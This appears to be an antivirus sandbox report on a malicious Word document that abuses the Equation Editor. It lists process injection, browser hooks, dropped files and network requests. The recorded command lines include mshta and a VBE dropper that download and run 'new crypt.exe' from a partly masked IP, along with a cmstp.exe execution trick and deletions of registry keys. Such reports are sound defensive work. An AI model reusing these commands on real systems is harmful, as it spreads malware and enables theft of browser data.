Technical Information
Malicious functions
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /F /IM winword.exe
- '%WINDIR%\syswow64\taskkill.exe' /F /IM cmstp.exe
Executes the following (exploit)
- '%WINDIR%\syswow64\cmd.exe' /c CmD < "%tmP%\aaaaaaaaaa.txt" & exit c
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
- %WINDIR%\syswow64\colorcpl.exe
the following user processes:
- iexplore.exe
- firefox.exe
Hooks functions
in browsers
- iexplore.exe process, wininet.dll module
- firefox.exe process, nss3.dll module
Modifies file system
Creates the following files
- %TEMP%\aaaaaaaaaa.txt
- %TEMP%\hacrgnjbggzhut.txt
- %TEMP%\zkpbyaegdueapeh.sct
- %TEMP%\snzawpgkihibqpjy.doc
- %APPDATA%\microsoft\network\connections\cm\ .cmp
- %TEMP%\o5m.vbe
- %TEMP%\txx.exe
Deletes the following files
- %TEMP%\zkpbyaegdueapeh.sct
- %TEMP%\o5m.vbe
- %TEMP%\txx.exe
Network activity
TCP
HTTP GET requests
- http://13#.#8.169.9/xynj/fine.txt
- http://13#.#8.169.9/xynj/fina.txt
- http://13#.#8.169.9/xynj/new%20crypt.exe
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%TEMP%\O5m.vBe"
- '%TEMP%\txx.exe'
- '%WINDIR%\syswow64\cmd.exe' /c CmD < "%tmP%\aaaaaaaaaa.txt" & exit c' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c mshta http://13#.#8.169.9/xynj/fina.txt' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C Cd %TemP% & @EChO C9t = "http://13#.#8.169.9/xynj/new crypt.exe">>O5m.vBe &@EChO B8u = F4i("UYY/FYF")>>O5m.vBe &@EChO Set N1d = CreateObject(F4i("NTYNM3/YNMIUUQ"))...' (with hidden window)
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\File MRU" /v "Item 1"
- '%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\File MRU" /v "Item 1"
- '%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\File MRU" /v "Item 1"
- '%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\File MRU" /v "Item 1"
- '%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\File MRU" /v "Item 1"
- '%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\File MRU" /v "Item 1"
- '%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\File MRU" /v "Item 1"
- '%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Resiliency /f
- '%ProgramFiles%\microsoft office\office14\winword.exe' "%TEMP%\\snZawPgKIhIbqpJy.doc"
- '<SYSTEM32>\cmstp.exe' /s /ns "%TEMP%\hacRGnjBGGZhUt.txt"
- '<SYSTEM32>\cmd.exe' /c mshta http://13#.#8.169.9/xynj/fina.txt
- '<SYSTEM32>\mshta.exe' http://13#.#8.169.9/xynj/fina.txt
- '<SYSTEM32>\cmd.exe' /C Cd %TemP% & @EChO C9t = "http://13#.#8.169.9/xynj/new crypt.exe">>O5m.vBe &@EChO B8u = F4i("UYY/FYF")>>O5m.vBe &@EChO Set N1d = CreateObject(F4i("NTYNM3/YNMIUUQ"))...
- '<SYSTEM32>\timeout.exe' 12
- '%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\File MRU" /v "Item 1"
- '%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\File MRU" /v "Item 1"
- '%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\File MRU" /v "Item 1"
- '%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\File MRU" /v "Item 1"
- '%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\File MRU" /v "Item 1"
- '%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\File MRU" /v "Item 1"
- '%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\File MRU" /v "Item 1"
- '%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\File MRU" /v "Item 1"
- '%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Resiliency /f
- '%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\File MRU" /v "Item 1"
- '%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency /f
- '%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency /f
- '%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Resiliency /f
- '%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Resiliency /f
- '%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Resiliency /f
- '%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Resiliency /f
- '%WINDIR%\syswow64\cmd.exe'
- '%WINDIR%\syswow64\colorcpl.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%TEMP%\TXX.EXE"
